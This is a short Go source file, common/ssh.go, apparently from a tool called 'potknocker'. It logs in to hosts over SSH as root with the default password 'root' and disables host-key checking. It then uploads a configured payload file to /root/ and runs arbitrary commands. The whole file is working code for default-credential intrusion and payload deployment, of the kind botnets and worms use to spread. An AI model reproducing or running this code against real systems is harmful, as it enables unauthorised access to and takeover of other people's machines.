potknocker/common/ssh.go

32 lines
583 B
Go
Raw Permalink Normal View History

2024-08-30 23:51:26 +00:00
package common
import (
"net"
"time"
"github.com/melbahja/goph"
"golang.org/x/crypto/ssh"
)
func connssh(addr string) (*goph.Client, error) {
return goph.NewConn(&goph.Config{
User: "root",
Addr: addr,
Port: uint(22),
Auth: goph.Password("root"),
Callback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: 400 * time.Millisecond,
})
}
func loadpl(c *goph.Client) error {
return c.Upload(Params.Payload, "/root/"+Params.Payload)
}
func runcmd(c *goph.Client, cmd string) error {
_, err := c.Run(cmd)
return err
}